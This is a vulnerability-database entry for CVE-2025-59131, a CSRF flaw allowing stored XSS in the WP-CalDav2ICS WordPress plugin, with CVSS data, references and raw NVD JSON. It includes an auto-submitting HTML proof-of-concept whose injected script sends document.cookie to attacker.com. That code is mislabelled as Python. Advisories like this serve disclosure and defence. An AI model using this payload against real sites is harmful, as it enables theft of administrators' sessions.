CVE-2025-59131

Description

Cross-Site Request Forgery (CSRF) vulnerability in hoernerfranz WP-CalDav2ICS wp-caldav2ics allows Stored XSS.This issue affects WP-CalDav2ICS: from n/a through <= 1.3.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP-CalDav2ICS <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-59131 - WP-CalDav2ICS Stored XSS -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=wp-caldav2ics-settings" method="POST" id="exploit">
      <input type="hidden" name="caldav_url" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" />
      <input type="hidden" name="submit" value="Save Changes" />
      <!-- Add CSRF token bypass if needed -->
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59131
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59131
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59131/
[4] VulDB https://vuldb.com/cve/CVE-2025-59131
[5] https://patchstack.com/database/Wordpress/Plugin/wp-caldav2ics/vulnerability/wordpress-wp-caldav2ics-plugin-1-3-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59131", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:50.770", "lastModified": "2026-04-23T15:34:02.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in hoernerfranz WP-CalDav2ICS wp-caldav2ics allows Stored XSS.This issue affects WP-CalDav2ICS: from n/a through <= 1.3.4."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Hoernerfranz WP-CalDav2ICS permite XSS Almacenado. Este problema afecta a WP-CalDav2ICS: desde n/d hasta 1.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-caldav2ics/vulnerability/wordpress-wp-caldav2ics-plugin-1-3-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}